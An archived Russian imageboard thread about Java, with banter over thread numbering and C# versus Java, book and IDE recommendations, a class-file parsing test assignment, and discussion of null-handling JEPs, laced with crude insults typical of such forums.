Сохранен 575
https://2ch.hk/pr/res/2874645.html
24 декабря Архивач восстановлен после серьёзной аварии. К сожалению, значительная часть сохранённых изображений и видео была потеряна. Подробности случившегося. Мы призываем всех неравнодушных помочь нам с восстановлением утраченного контента!

Java Thread #255 /java/

 Аноним 11/10/23 Срд 15:08:08 #1 №2874645 
image.png
Давайте засветимся с Java! 😎 Это не просто суровое кодежурство, это настоящее Java-путешествие во вселенную чудес и невероятных возможностей! 🚀 Мы, как Java-волшебники, работаем с абстракциями настолько высокими, что звёзды недоумевают, и исследуем глубины кодовой галактики, превращая его в нечто невероятное! Мы - джедаи абстракций ☝, разгадывающие загадки данных, словно истинные детективы, и внедряем магию оптимизации в каждую строку! Наши клавиши клавиатуры - это наши волшебные палочки, создающие чудеса во вселенной Java! 😜💻✨ Да, мы - покорители звёзд, ведущие корабль сквозь галактику Java, и каждая строчка кода - это наша сияющая звезда! ✨💻🌟

Что тут у нас:

🔮 LOOM: Потоки без швов, словно магия!
🧩 Pattern Matching: Проверки данных на стероидах.
📚 Sequenced Collections: Теперь .getLast() доступен всем!
В превью: Structured Concurrency - контроль над асинхронностью.
В превью: Scoped Value - гибкий ThreadLocal.
В превью: String Interpolation - вставка переменных просто как ABC.
В превью: Unnamed Classes и Instance Main Methods - для хелло-ворлда в одну строчку!
Java 21 - как праздник для программистов, только без торта (но с мороженным)! 🍰🍦💻

Вики по вкатыванию в джаву🎓: https://github.com/java2ch/java-thread/wiki

Предыдущий: >>2853076 (OP)
Аноним 11/10/23 Срд 15:23:21 #2 №2874691 
Пупунечки,я так рад
Аноним 11/10/23 Срд 15:27:22 #3 №2874703 
>>2874691
Пупунечка это шарпомуха, а тута серьезные дяди сидят. Ты можешь представить себе пупунечку с ебалом скуфа? Нет? То-то же!
Аноним 11/10/23 Срд 15:35:50 #4 №2874732 
>>2874703
Могу,главное ведь добрая душа и чистые помыслы
Аноним 11/10/23 Срд 15:46:18 #5 №2874756 
>>2874732
Чистая душа, чистые помыслы и чистые функции - это в хаскель.
Аноним 11/10/23 Срд 16:01:47 #6 №2874770 
>>2874756
В хаскеле функции чистые,а жопы грязные
Аноним 11/10/23 Срд 16:17:36 #7 №2874805 
>>2874691
Задавай вопросы какие хотел!
Аноним 11/10/23 Срд 16:26:28 #8 №2874816 
>>2874805
Как дела?
Аноним 11/10/23 Срд 16:38:33 #9 №2874832 
>>2874816
Голова болит. А у тебя?
Аноним 11/10/23 Срд 16:39:43 #10 №2874837 
>>2874832
Не болит
Аноним 11/10/23 Срд 16:49:16 #11 №2874871 
>>2874837
А если прод уронить?
Аноним 11/10/23 Срд 16:54:00 #12 №2874887 
>>2874871
Я тебе уроню,не только голова заболит
Аноним 11/10/23 Срд 17:00:18 #13 №2874898 
>>2874887
Насиловать низя вообще-то...
Аноним 11/10/23 Срд 17:39:58 #14 №2874971 
>>2874898
Ты всратый
Аноним 11/10/23 Срд 18:05:54 #15 №2875026 
Сука, как пупуням запретить перекатывать нахуй
Аноним 11/10/23 Срд 18:12:12 #16 №2875038 
>>2875026
Тут правильный пуньпуневский перекатик
Аноним 11/10/23 Срд 18:16:23 #17 №2875048 
>>2875026
Если что-то не устраивает, лучше просто пойти на прогулку и подумать об этом в спокойной обстановке. 😉
Аноним 11/10/23 Срд 18:17:33 #18 №2875051 
>>2875038
>перекат после 500 постов
>проёбанная нумерация
>правильный перекат
Аноним 11/10/23 Срд 18:20:05 #19 №2875058 
>>2875051
Нумерация правильная. После 500 постов потому что предыдущий тред был нелегитимным и зашкварным,по этой же причине не учитываем его в нумерации. Этот будем перекатывать после 1000. Конечно если мочух ебанат опять тред не снесёт
Аноним 11/10/23 Срд 18:23:13 #20 №2875065 
>>2874971
Нет! И зачем ты на внешку перешёл? Признайся, я тебе нравлюсь, вот и оскорбляешь постоянно.
Аноним 11/10/23 Срд 18:23:57 #21 №2875066 
>>2875058
>нелегитимный
Тыскозал?
Аноним 11/10/23 Срд 18:25:58 #22 №2875070 
>>2875066
Комитет пупунь треда принял PJEP-1 и постановил признать прошлый тред нелегитимным.
Аноним 11/10/23 Срд 18:27:33 #23 №2875073 
>>2875070
>комитет пупунь
>один ебалай-копротивленец, которому не нравится перекат после 500 постов, но очень нравится перекат после 500 постов
Аноним 11/10/23 Срд 18:28:36 #24 №2875076 
>>2875073
Если что-то не устраивает, лучше просто пойти на прогулку и подумать об этом в спокойной обстановке. 😉
Аноним 11/10/23 Срд 18:30:07 #25 №2875079 
>>2875065
Ты осознаешь что с разными людьми общаешься?
Аноним 11/10/23 Срд 18:31:25 #26 №2875083 
>>2875076
Да меня-то всё устраивает сейчас, просто подметил, что кому-то очень важно, чтобы перекаты были после 1000 постов, но при этом сам он делает перекаты после 500.
Аноним 11/10/23 Срд 18:33:41 #27 №2875091 
>>2875083
Ты реально не понимаешь почему именно с того треда перекатились после 500?

мимо
Аноним 11/10/23 Срд 18:34:56 #28 №2875094 
>>2875091
Прекрасно понимаю. Чтобы показать копротивление мочуху. Уважаемо конечно, но ироничность не убавляет.
Аноним 11/10/23 Срд 18:35:06 #29 №2875096 
>>2875079
Даже не пытаюсь. Но уверен, что все утверждения истинные.
Аноним 11/10/23 Срд 18:35:41 #30 №2875098 
>>2875094
Никакой свободы вранам свободы
Аноним 11/10/23 Срд 18:52:43 #31 №2875131 
>>2875094
Теперь все перекаты будут после 500 постов.
Аноним 11/10/23 Срд 19:00:09 #32 №2875149 
>>2875131
Нет,перекаты будут после тысячи
Аноним 11/10/23 Срд 19:05:08 #33 №2875151 
>>2875149
Да. В джяве все должно быть большим и тяжелым. Даже треды.
Аноним 11/10/23 Срд 20:21:50 #34 №2875297 
А можно как-то применить инструкцию cmp8xchg16b в атомиках? Это ж имба, почти dcas.
Аноним 11/10/23 Срд 20:43:04 #35 №2875332 
>>2875151
Переходим на виртуальные треды!
Аноним 11/10/23 Срд 22:36:05 #36 №2875453 
Ахаха блять пиздец
Аноним 12/10/23 Чтв 00:54:18 #37 №2875583 
>>2874645 (OP)
Я вот курс прохожу и пиздец задания, в духе дают числа выведи наибольшее. А математических методов еще не показывали и сидишь ебешься складываешь вычитаешь хуе мое че за дегенераты эти курсы делают.
Как будто дают задание гвоздь забить а вместо молотка дают какие то камни бля и палки. И таких заданий дохуя.
Аноним 12/10/23 Чтв 01:12:57 #38 №2875589 
>>2875583
Это все на мотематике и школьном курсе информатики проходют. В чем бугурт? Не нравица, пользуйся туториалом от оракла
https://docs.oracle.com/javase/tutorial/java/nutsandbolts/index.html
Аноним 12/10/23 Чтв 04:07:43 #39 №2875645 
Перевёл бы кто туториал от оракла на русский...
Аноним 12/10/23 Чтв 04:28:29 #40 №2875649 
>>2875645
А я думал, что один такой одуванчик и плохо знаю инглиш. Вот есть хороший переводчик: https://www.deepl.com/ru/translator
Аноним 12/10/23 Чтв 04:52:05 #41 №2875656 
>>2875649
Нито. Хочу чтоб никуда сувать не надо было и всё выверено человеком было.
Аноним 12/10/23 Чтв 05:03:40 #42 №2875662 
>>2875656
А минетик переводчику сделаешь?
Аноним 12/10/23 Чтв 05:23:45 #43 №2875668 
>>2875662
Скажу "вот этот базанул".
Аноним 12/10/23 Чтв 06:57:49 #44 №2875681 
В чем разница между DTO, TO и VO?
Аноним 12/10/23 Чтв 07:05:32 #45 №2875683 
>>2875583
Сначала с этим разберись, пупуня блять
А то знаем мы вас, потом начнется Math.max += linkedList()=[мам я долбаеб] of
Аноним 12/10/23 Чтв 08:34:30 #46 №2875699 
На чем дома практиковались? Наверняка были же проекты, на которых навыки оттачивали.
Аноним 12/10/23 Чтв 09:03:46 #47 №2875714 
>>2875699
На помидорах.
Аноним 12/10/23 Чтв 09:04:24 #48 №2875715 
Почему instanceOf это конструкция, а не метод класса Object?
Аноним 12/10/23 Чтв 09:17:59 #49 №2875723 
>>2875715
Потомушто.
Аноним 12/10/23 Чтв 10:23:38 #50 №2875766 
>>2875715
Сам нашел ответ.
Аноним 12/10/23 Чтв 11:11:55 #51 №2875832 
>>2875714
А на бананах после или до помидор?
Аноним 12/10/23 Чтв 11:13:17 #52 №2875834 
>>2875715
Есть и метод https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#isInstance-java.lang.Object-
Аноним 12/10/23 Чтв 11:22:51 #53 №2875852 
image.png
Как вы вкатываетесь в жабу, если джуновских вакансий тупо нигде нет?
Аноним 12/10/23 Чтв 11:30:55 #54 №2875865 
>>2875834
ЭТО МЕТОД КЛАССА CLASS А НЕ OBJECT
Аноним 12/10/23 Чтв 11:35:15 #55 №2875869 
>>2875865
А нахуя в контракт обжекта пихать рефлекшн методы? У нас в него уже пихнули wait/notify теперь кушаем последствия.
Аноним 12/10/23 Чтв 12:01:40 #56 №2875918 
>>2875869
у всех объектов есть класс.
Аноним 12/10/23 Чтв 12:07:58 #57 №2875929 
>>2875918
Но не у всех классов есть экземпляр. И не все классы открыты.
Аноним 12/10/23 Чтв 12:28:05 #58 №2875961 
>>2875852
По знакомству конечно же
Аноним 12/10/23 Чтв 13:24:53 #59 №2876033 
>>2875852
По везению конечно же
Аноним 12/10/23 Чтв 13:29:52 #60 №2876040 
>>2875715
Это щас на собесах такие вопросы задают?
Аноним 12/10/23 Чтв 14:55:17 #61 №2876198 
>>2875852
А уже никто не вкатывается. Профессия умерла.
Аноним 12/10/23 Чтв 15:50:17 #62 №2876251 
>>2875852
На шарпе полно джуновских вакансий, переучиваться месяца три максимум
Аноним 12/10/23 Чтв 16:04:31 #63 №2876274 
>>2876251
Так - да. Вкатуны сегодня предпочитают идти куда угодно - хоть в 1С, хоть на завод, лишь бы не в шарпейский коллектив.
Аноним 12/10/23 Чтв 16:05:05 #64 №2876275 
16968825198770.png
Ебался два часа с серой кнопкой RUN чтобы узнать что файлы просто нужно просто создавать в /src . До этого джавакал.
Аноним 12/10/23 Чтв 16:13:42 #65 №2876294 
>>2876275
Блин, а еще меня неумехой тут называют...
Аноним 12/10/23 Чтв 16:31:12 #66 №2876324 
Где найти примеры использования camunda bpm?
Аноним 12/10/23 Чтв 16:32:45 #67 №2876328 
>>2876275
У каждого кодера бывают такие моменты.
Аноним 12/10/23 Чтв 16:36:58 #68 №2876337 
>>2876328
Только у пупунь.
Аноним 12/10/23 Чтв 17:21:01 #69 №2876412 
Пупуни (тимлиды) не делают глупых ошибок. Они делают их намеренно.
Аноним 12/10/23 Чтв 17:29:29 #70 №2876420 
>>2876412
Ты что,выписал весь тред из пупунь?!
Аноним 12/10/23 Чтв 20:43:11 #71 №2876783 
https://youtu.be/eXCx2hW_xNI?si=bGxVIz2vRjvTincQ
А я думал брайн гетц скуф, а тут наоборот. Няшно выглядит.
Аноним 12/10/23 Чтв 21:07:39 #72 №2876803 
>>2876783
Так эталонный скуф же.
Аноним 12/10/23 Чтв 21:14:48 #73 №2876810 
Никогда не понимал, почему залётыши лезут в интелидж идею. Там нет волшебных кнопок и лучшее, что можно дать - эклипс. Сиди строчи, программирувай, развивайся. IDE - не даст буста. Буст от опыта и понимания.
Аноним 12/10/23 Чтв 21:15:50 #74 №2876811 
>>2876810
И майнкруфт писали в эклипсе, таки.
Аноним 12/10/23 Чтв 21:18:59 #75 №2876813 
image.png
>>2876803
Да ну не. Смотри какой ухоженный, пахнет наверняка приятно, умный еще. Еще худой, следит за собой. Лысина только, но это ж не большой минус. Только не говорите, что мне скуфы начали нравица...
>>2876810
Ну нинаю, я помню мне порекомендовали пользоваться идеей вместо эклипса и бля, это такой буст. Во первых ебейший автокомплит, во вторых куча желтых подчеркиваний, где говорица, чому я еблан, плюс ctrl+q. Ну и самое главное, я могу зажать контрол и залезть в кишки. Какой же это каеф, сидишь копаешься, изучаешь как вот гоетцы всякие что-то понаписали. Делаешь также....
Аноним 12/10/23 Чтв 21:39:37 #76 №2876820 
>>2876813
"нажмите волшебную кнопку, чтобы все создалось само", эклипс иначе работает.
Аноним 12/10/23 Чтв 21:44:29 #77 №2876822 
eclipse.png
>>2876820
Аноним 12/10/23 Чтв 21:44:41 #78 №2876823 
>>2876820
То, что я не могу удобно копаться в кишках это минус. Это не кнопочка сделать все само. Помню когда я еще сидел там не было банальной функции ренейма. Конечно заебись руками искать контекст... Но нахуя? Я блять не шарпист руками импорты писать с лицом лягухи.
Аноним 12/10/23 Чтв 21:46:59 #79 №2876825 
>>2876823
хз, жид брейны итак попустили сами себя уйдя с Российского рынка. А опен сорц - это опэн сорц. Комьюнити, где нет цвета кожи, нации и прочего.
Аноним 12/10/23 Чтв 21:48:28 #80 №2876828 
>>2876823
Этого нет в эклипсе?
Аноним 12/10/23 Чтв 21:51:04 #81 №2876829 
>>2876825
Есть комунити версия. Тоже попенсорц.
>Комьюнити, где нет цвета кожи, нации и прочего.
Спорно. Надеюсь ты и сам это понимаешь.
>>2876828
Я в эклипсе сижу по твоему? Когда я им пользовался ничего из этого не было. Ренеймил через ctrl+F. Как в блокнотике. Кишочков тоже не было. Мб надо было 100500 плагинов накатить, но я че, бесплатный тестер, который будет сам допиливать софт и выявлять баги?
Аноним 12/10/23 Чтв 21:56:08 #82 №2876830 
>>2876829
Вообще, я этого, гоетца послушал. Они лсп развивали, так что ренейм в нем встроен. https://emacs-lsp.github.io/lsp-java/
Как давно без понятия.
Аноним 12/10/23 Чтв 21:59:10 #83 №2876831 
>>2876829
>комунити версия
> Тоже попенсорц
ась?
Аноним 12/10/23 Чтв 22:01:01 #84 №2876832 
>>2876831
а хотя да, есть сорцы таки...
Аноним 12/10/23 Чтв 22:01:54 #85 №2876833 
>>2876831
а как она у гугла оказалась в ондроеде студии?
Аноним 12/10/23 Чтв 22:04:05 #86 №2876835 
>>2876833
логично. я просто не фанат джетбрэйнов.
Аноним 13/10/23 Птн 00:05:58 #87 №2876881 
>>2876835
Так при чем тут фанатизм то? Просто пользуешься ейц, потому что она лучше по всем параметрам + привык к хоткеям.
Ораклом тоже пользуются не от большой любви к этой гнилой конторе.
Аноним 13/10/23 Птн 01:40:30 #88 №2876914 
Пупуням привет, остальным соболезную
Аноним 13/10/23 Птн 03:26:48 #89 №2876980 
>>2874645 (OP)
> В превью: Structured Concurrency - контроль над асинхронностью.
> В превью: Scoped Value - гибкий ThreadLocal.
> В превью: String Interpolation - вставка переменных просто как ABC.
> В превью: Unnamed Classes и Instance Main Methods - для хелло-ворлда в одну строчку!
Ну то есть то что у белых людей есть уже лет 10 как...
Аноним 13/10/23 Птн 03:33:34 #90 №2876982 
>>2876980
Первые два в нормальном виде эт где?
Аноним 13/10/23 Птн 03:35:58 #91 №2876983 
>>2876982
В Котлине
Аноним 13/10/23 Птн 03:37:18 #92 №2876984 
>>2876983
На доки ссылки давай. Я сам искать не собираюсь.
Аноним 13/10/23 Птн 03:38:22 #93 №2876985 
>>2876984
> Я сам искать не собираюсь.
И почему мне должно быть не похуй?
Аноним 13/10/23 Птн 03:40:37 #94 №2876987 
>>2876985
Ну тип это ты пришел доказыавть, что мол вооот 10 лет уже усе есть. Всем остальным насрать как бы
Аноним 13/10/23 Птн 04:14:35 #95 №2876993 
>>2876982
Да тут и третьего, и четвёртого в петухлине нет.
Аноним 13/10/23 Птн 11:32:36 #96 №2877221 
Пятница ураааааааааа
Аноним 13/10/23 Птн 13:04:22 #97 №2877323 
>>2877221
все поняем прод, до понедельника никто не заметит!
Аноним 13/10/23 Птн 13:07:53 #98 №2877325 
>>2877323
Хихихи,гадости инкорпорейтед
Аноним 13/10/23 Птн 13:49:50 #99 №2877356 
>>2874645 (OP)
Почему на вакансию сишарп программиста 100 откликов, а на джаву 1000? Так много людей потеряло работу?
Аноним 13/10/23 Птн 13:55:18 #100 №2877361 
>>2877356
Так вкатывайся в шарп
Аноним 13/10/23 Птн 15:34:09 #101 №2877496 
Какие же сеньки ебаные душнилы,невозможно блядь с ними по человечески общаться. Как бабка химичка в теле взрослого мужика
Аноним 13/10/23 Птн 15:38:10 #102 №2877503 
>>2877496
Не душнила до ранга сеньки просто не дойдет. Свичнется в лиды или вообще убежит из айти.
Аноним 13/10/23 Птн 15:39:26 #103 №2877507 
>>2877503
Кстати говоря лид реально приятный в общении чувак,в отличии от кодеров
Аноним 13/10/23 Птн 16:30:49 #104 №2877583 
image.png
Может кто-то подсказать что имеется ввиду? Я файл побайтово прочитал, вытащил оттуда путь для копирования, но это не устроило.
https://habr.com/ru/companies/otus/articles/478584/
https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4.1

Нужно скопировать .class файлы из одной директории в другую. Причем полный путь нужно вытащить из class файла.
Аноним 13/10/23 Птн 16:51:08 #105 №2877622 
>>2877583
хуйней не страдай
Аноним 13/10/23 Птн 16:58:37 #106 №2877635 
image.png
>>2877583
А зачем это нужно? И не проще какой-нить жабаагент запустить? https://habr.com/ru/articles/230239/
Аноним 13/10/23 Птн 17:18:51 #107 №2877668 
>>2877622
Не понял
>>2877635
Это тестовое задание.
Аноним 13/10/23 Птн 17:23:36 #108 №2877680 
>>2877583
Чем аргументировали ответ который не устроил?
Аноним 13/10/23 Птн 17:27:46 #109 №2877687 
>>2877668
И? Какая разница тестовое, не тестовое?
И ты куда вообще устраиваешься? В оракл?
Аноним 13/10/23 Птн 17:28:52 #110 №2877689 
>>2877680
Полное имя класса нужно определить по содержимому class-файла:

- имеется ввиду не текст, а структура class-файла, надо ознакомиться с предложенными статьями(можно поискать самому), и по структуре определить полное имя класса. Логика должна работать с любым class-файлом.
Аноним 13/10/23 Птн 17:30:51 #111 №2877693 
>>2877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
Аноним 13/10/23 Птн 17:31:12 #112 №2877695 
>>2877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
Аноним 13/10/23 Птн 17:31:49 #113 №2877696 
>>2877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
Аноним 13/10/23 Птн 17:35:25 #114 №2877705 
>>2877693
>>2877695
>>2877696
Ясн. Эх, вот бы мне тоже тестовое хотя б дали...
Аноним 13/10/23 Птн 17:38:24 #115 №2877709 
>>2877705
Для получения тестового достаточно перестать быть говноедом джавистом в 2023 году, взять .net 6+ и пойти в любую крупную компанию на гринфилд проекты.
Но твой выбор вечно ныть и молиться, чтобы однажды тебя взяли поддерживать ненужно легаси на жабе.
Аноним 13/10/23 Птн 17:40:32 #116 №2877717 
>>2877709
>Но твой выбор вечно ныть и молиться, чтобы однажды тебя взяли поддерживать ненужно легаси на жабе.
Дя. А еще я даже резюме не написал ни разу. Но тестовое жду. :3
Аноним 13/10/23 Птн 18:01:05 #117 №2877759 
>>2877709
На шарпе нет бекенда
Аноним 13/10/23 Птн 18:07:36 #118 №2877774 
>>2877759
Да, на C# Blazor пишут фронт, а бэк делают на ноде.
Аноним 13/10/23 Птн 21:06:09 #119 №2877991 
изображение2023-10-13210321045.png
Аноны, что думаете про этот томик? Стоит ли брать для обучения
Аноним 13/10/23 Птн 21:08:18 #120 №2877993 
>>2877991
https://learn.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/
https://learn.microsoft.com/en-us/dotnet/
Вот этого хватит для старта
Аноним 13/10/23 Птн 21:08:30 #121 №2877994 
>>2877991
Позно уже. Да и шилд говно. Эффектив жаба пизже
Аноним 13/10/23 Птн 21:12:49 #122 №2877999 
>>2877993
Ой слушай, а может ты мне поможешь с шарпиком? Помню один вообще готов был минет сделать за перекат с жабы на шарп, а тут сущая мелочь, на вопросики отвечать.
Аноним 13/10/23 Птн 21:19:13 #123 №2878016 
>>2877994
Нахрена мне С# ? Я за Яву спросил. А ты ,я смотрю , все зрение из-за пекарни/дрочки убил.
Аноним 13/10/23 Птн 21:24:24 #124 №2878022 
>>2877994
А за эффектив яву спс, ток она какая-то старо-тухлая ,19-го года.
Аноним 13/10/23 Птн 21:28:44 #125 №2878032 
>>2878022
В плане 19 года? Она старше jcip. Ты новое издание не читай, а старые епта кури.
И ещё это можно https://www.amazon.com/Concurrent-Programming-Java%C2%99-Principles-Pattern/dp/0201310090
Аноним 13/10/23 Птн 21:32:46 #126 №2878039 
>>2877583
Кого не устроило?
Аноним 13/10/23 Птн 22:46:24 #127 №2878146 
69507412.webp
35c96473-2507-4a22-9988-8f08e7d9cd3a.jpg
cover.jpg
>>2877991
Сейчас более актуальны эти книги
Аноним 13/10/23 Птн 23:28:33 #128 №2878202 
>>2877994
Этот хуйню несёт. Шилдт базовый.
Аноним 13/10/23 Птн 23:33:47 #129 №2878209 
>>2877991
С выходом 21 джавы 12 издание протухло слегка, но в целом всё ещё стоящее. Но я бы смотрел также в сторону туториалов от оракла.
Аноним 14/10/23 Суб 00:59:59 #130 №2878257 
>>2877991
Стоит, а еще лучше в оригинале без перевода.
Аноним 14/10/23 Суб 01:02:16 #131 №2878258 
>>2878146
Для одинокого пупуни есть что?
Аноним 14/10/23 Суб 01:02:20 #132 №2878259 
>>2878202
Там куча вставок док и методов классов. Плюс воды дохуя. Уверен там и кишочклв нету.
>>2878257
А че там перевод потерял?
Аноним 14/10/23 Суб 01:02:37 #133 №2878260 
>>2877991
Анон, не бери эту книгу, это справочник. Возьми Кея Хорстманна.
Аноним 14/10/23 Суб 01:07:22 #134 №2878263 
>>2878259
> А че там перевод потерял?
Техническую литературу всегда лучше читать в оригинале, ибо перевод может искажать те или иные моменты.
Аноним 14/10/23 Суб 01:08:41 #135 №2878264 
>>2878263
Надеюсь доки к китайским элементам ты именно на китайском читаешь. А то ведь потерять все можешь.
Аноним 14/10/23 Суб 01:16:20 #136 №2878266 
>>2878260
Читал эту хуйню когда еще под 6 релиз был. На самом начале автор закинул какой то ебаный календарь с кучей непонятного кода, который я так и не разобрал, выбросив все к черту. Нахуя так сложно делать? Выучил джаву на Шилдте ни разу не пожалел, лучшая в своем роде. И как справочник и как самоучитель.
Аноним 14/10/23 Суб 02:52:16 #137 №2878295 
>>2878039
Проверяющего
Аноним 14/10/23 Суб 03:53:02 #138 №2878298 
Почему в стандартную либу не добавят удобный парсер жсонов?
Аноним 14/10/23 Суб 06:04:04 #139 №2878309 
>>2878298
Патамушто.
Аноним 14/10/23 Суб 06:35:32 #140 №2878314 
>>2878298
Добавь. Все тебя ждут
Аноним 14/10/23 Суб 12:12:23 #141 №2878450 
>>2878298
Ты его сначала напиши.
Аноним 14/10/23 Суб 12:21:00 #142 №2878453 
>>2878298
В сишарпе он есть, а на джаве все равно одни легаси проекты с xml так что парсер жсонов не нужен.
Аноним 14/10/23 Суб 12:32:02 #143 №2878460 
>>2878453
Начинай свой день с чашечки копиума
Аноним 14/10/23 Суб 12:57:55 #144 №2878481 
К нам в команду приняли сразу кучу индусов. Помоги мне Боже.
Аноним 14/10/23 Суб 13:02:02 #145 №2878487 
Когда введут тип never/nothing?
Аноним 14/10/23 Суб 13:06:36 #146 №2878488 
>>2878481
А можно к вам? Я буду морально помогать, массажик делать... Че там еще
>>2878487
С вальхаллой пересматриваю систему типов, возможно и такое введут. Но чёт сомневаюсь. А тебе, к слову зачем он понадобился?
Аноним 14/10/23 Суб 13:06:41 #147 №2878489 
Когда пупуни перестанут придумывать какой хуйней можно засрать язык и займутся делом?
Аноним 14/10/23 Суб 13:09:27 #148 №2878491 
>>2878489
Я хочу заняться делом, но вы меня не берете.
Ой, кстати мне тут бесплатный сервис для получения сертификата посоветовали https://letsencrypt.org/ru/ и пару багов нашли и сказали я хуевый дизайнер и фронт.
Аноним 14/10/23 Суб 13:13:12 #149 №2878492 
>>2878488
>А тебе, к слову зачем он понадобился?
if (checkNotNull(a)) {
throwNPE();
}
return a.getB();

У метода throwNPE должен быть тип never/nothing, чтобы анализатор не жаловался на возможный NPE при вызове getB.
Аноним 14/10/23 Суб 13:15:34 #150 №2878494 
>>2878492
Запихни туда метод из обжектс https://docs.oracle.com/javase/8/docs/api/java/util/Objects.html#isNull-java.lang.Object-
Их пихает сам компилер. Жаловаться не будет.
Аноним 14/10/23 Суб 13:31:49 #151 №2878499 
>>2878494
А там на самом деле как раз isNull, я забыл.
Аноним 14/10/23 Суб 13:35:40 #152 №2878501 
>>2878499
И все равно анализатор нахуй шлёт? Тогда requireNonNull попробуй. Если все равно что-то пишет, то это проблемы анализатора. Напиши им куда ну или + поставь на ишью существующий.
Аноним 14/10/23 Суб 14:17:42 #153 №2878522 
Вот проблема, ну охуеть теперь
Аноним 14/10/23 Суб 16:25:13 #154 №2878611 
>>2878492
Что за высер? Каким образом тип здесь поможет анализатору меньше жаловаться?
Аноним 14/10/23 Суб 16:33:37 #155 №2878619 
>>2878611
Ну в котлине наллы на уровне типов, хотя как насинг поможет я тож не поняв
Аноним 14/10/23 Суб 16:37:05 #156 №2878622 
>>2878619
Ну так это совсем другое. Тут долбоёб высирает какую-то хуйню, которую даже сам не представляет нормально.
Аноним 14/10/23 Суб 19:12:08 #157 №2878846 
>>2878295
Чем он аргументировал свое недовольство? Дословно
Аноним 14/10/23 Суб 19:16:21 #158 №2878856 
>>2878298
JSON?

А че уж не ямль тогда, или томль? Че уж сразу не протобаф нахуй? JSON в 2023ем - лол, ну ты и скуф, ппц.
Аноним 14/10/23 Суб 19:30:59 #159 №2878904 
JEP-648274 Add Spring Boot libraries to java.spring.pupunya base module

Now young pupunyas can create a crud for sobes simply by typing the following:


import java.spring.pupunya.*;

void main() {
var app = new Boot();
app.run();
}
Аноним 14/10/23 Суб 19:36:19 #160 №2878926 
>>2878258
"одинокий боньк" джуди пупинькольт
Аноним 14/10/23 Суб 19:37:47 #161 №2878933 
>>2878904
А можно янг пупуню хотя бы до собеса допустить?
Аноним 14/10/23 Суб 20:26:27 #162 №2879029 
Где спиратить курсы IBS Training Center ?
Аноним 14/10/23 Суб 20:30:48 #163 №2879034 
>>2879029
А какой смысл от курсов, без ментора?
Аноним 14/10/23 Суб 20:32:44 #164 №2879035 
>>2879034
Ментор это юзлесс хуйня
Аноним 14/10/23 Суб 21:17:21 #165 №2879094 
Посмотрел доклад про акка,сложно
Аноним 14/10/23 Суб 21:19:34 #166 №2879099 
>>2879094
Скинь мне, тоже хочу~
Аноним 14/10/23 Суб 21:20:27 #167 №2879101 
>>2879099
Нет
Аноним 14/10/23 Суб 21:21:10 #168 №2879103 
>>2878846
Полное имя класса нужно определить по содержимому class-файла:

- имеется ввиду не текст, а структура class-файла, надо ознакомиться с предложенными статьями(можно поискать самому), и по структуре определить полное имя класса. Логика должна работать с любым class-файлом.
Аноним 14/10/23 Суб 21:22:28 #169 №2879105 
>>2879101
Почему же?
Аноним 14/10/23 Суб 21:24:25 #170 №2879106 
>>2879105
Тебе нельзя
Аноним 14/10/23 Суб 21:26:10 #171 №2879107 
>>2879106
Мы знакомы..?
Аноним 14/10/23 Суб 21:30:52 #172 №2879111 
>>2879107
Стасян?
Аноним 14/10/23 Суб 21:31:42 #173 №2879113 
>>2879111
Марго?
Ладно, я тебя понял. Спасибо за заботу~
Аноним 14/10/23 Суб 21:34:09 #174 №2879117 
>>2878298
в веб спринге джексон из коробки
Аноним 15/10/23 Вск 01:19:29 #175 №2879324 
>>2878257
Нет, вот этот тоже хуйню несёт, перевод это база. Нихуя он не теряет, и самое главное что без него когнитивный ресурс будет тратится на распознавание неродного языка, а не на понимание текста, и анону будет гораздо сложнее / меньше запомнит.
Аноним 15/10/23 Вск 01:39:07 #176 №2879331 
>>2879103
Хватит тупить и тридцать раз перецитировать постановку задачи. Фидбэк проверяющего давай.
Аноним 15/10/23 Вск 02:11:32 #177 №2879340 
>>2879331
Дык это и есть фидбэк.
Аноним 15/10/23 Вск 02:19:09 #178 №2879342 
>>2879340
Да? Ну значит не повезло тебе - у тебя вместо проверяющего черный ящик. Тут наши полномочия какбэ - все.
Аноним 15/10/23 Вск 11:00:10 #179 №2879434 
Мнение? https://openjdk.org/jeps/8316779
Я думал скуфы в оракл вообще не думают о наллах.
Аноним 15/10/23 Вск 11:20:17 #180 №2879443 
>>2879434
Думают, просто не как орущая школота из соседних языков, отталкиваясь от 7 заповедей Чистого КодаТМ, а более логично.
Аноним 15/10/23 Вск 11:42:22 #181 №2879450 
>>2879434
Пфф, дотнет уже убил джаву. Нет никакого смысла использовать джаву в наше время, хоть все фичи укради из шарпа в свои всратые джепы.
Аноним 15/10/23 Вск 11:48:07 #182 №2879456 
>>2879450
Там можно такое делать:
// Define as non-nullable, but tell compiler to ignore warning
// Same as FooBar fooBar = default!;
FooBar fooBar = null!;
Смысл от этой безопасности, если она не работает?
Аноним 15/10/23 Вск 11:51:53 #183 №2879462 
>>2879450
Начинай свой день с чашечки копиума
Аноним 15/10/23 Вск 12:52:48 #184 №2879526 
1697363566958.jpg
>>2879450
BASED
Аноним 15/10/23 Вск 12:54:15 #185 №2879527 
>>2879434
хотелось бы fizz?buzz без NPE получать, а не просто встроенный валидатор, который я и так повесить могу.
Аноним 15/10/23 Вск 12:54:58 #186 №2879529 
>>2879527
Ты бы хотя бы джеп прочитал, еблан.
Аноним 15/10/23 Вск 12:57:12 #187 №2879534 
>>2879526
Дремлет хлопец...
Аноним 15/10/23 Вск 13:08:00 #188 №2879550 
>>2879529
>>Null-Restricted
Очевидно что они не сделают так как я написал.
Приходит запрос с фронта - джексон пытается создать объект - жвм срет ошибкой из за нула в Null-Restricted поле. И чем это лучше NPE?
Если в рантайме это не проверяется и это фича компилятора - то тем более бесполезный кал, хуже валидаторов привычных.

Если я не прав - напиши в каком разделе это указано, читать стену текста не хочу.
Аноним 15/10/23 Вск 13:09:09 #189 №2879552 
>>2879550
>Приходит запрос с фронта - джексон пытается создать объект - жвм срет ошибкой из за нула в Null-Restricted поле. И чем это лучше NPE?
Так это в принципе невозможно сделать без NPE, додик.
Аноним 15/10/23 Вск 13:53:32 #190 №2879640 
>>2879527
